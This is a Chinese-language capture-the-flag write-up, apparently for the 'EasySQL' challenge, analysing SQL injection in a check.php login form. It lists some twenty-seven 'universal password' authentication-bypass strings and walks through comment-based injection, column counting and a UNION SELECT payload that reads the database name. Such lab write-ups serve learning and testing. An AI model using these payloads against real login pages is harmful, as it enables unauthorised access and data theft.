通过查看源码分析check.php,是一道SQL注入。

image-20210803160143060

关于这道题,毋庸置疑,最简便的方法就是使用万能密码,

在网上搜集的PHP万能密码:

"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

image-20210803155807544

或者:

image-20210803155848656

这个拼接的SQL语句为:

username=admin' or '1'='1&password=admin' or '1'='1

但是我想探究一下根源:

  1. 使用纯数字注入,看一下回显

    image-20210803161356498

  2. 使用纯字符注入,看一下回显

    image-20210803161806177

    image-20210803161825842

  3. 数字与字母混合注入:

    image-20210803162313171

    image-20210803162325887

  4. 数字与字符串混合注入

    发现使用的是MariaDB数据库

    所以密码框存在注入,可以用’闭合,当输入1”时,正常返回密码错误

    image-20210803162504505

    image-20210803162619599

  5. 接下来用%23作注释符,可以得到页面正常。
    sql中用#作为注释,这是用get传递数据,用url编码一下就是%23

    image-20210803171708127

  6. MySQL5注入的一般流程

    获取字段数-查库名-查表名-查列名-查数据

  7. 开始爆字段:

    image-20210803171911207

    image-20210803171950620

    image-20210803172105226

    测试到3的时候发现可以正常显示了,说明前面的查询字段有3个

  8. 构造语句,开始查当前数据库
    Payload:username=1&password=1’ union select null,null,(select database()) %23
    有三个查询字段,所以union 后面的语句填充两个null,和一个查当前库的语句

image-20210803173223983

y4tacker写的真的很棒:

EasySQL

MYSQL注入笔记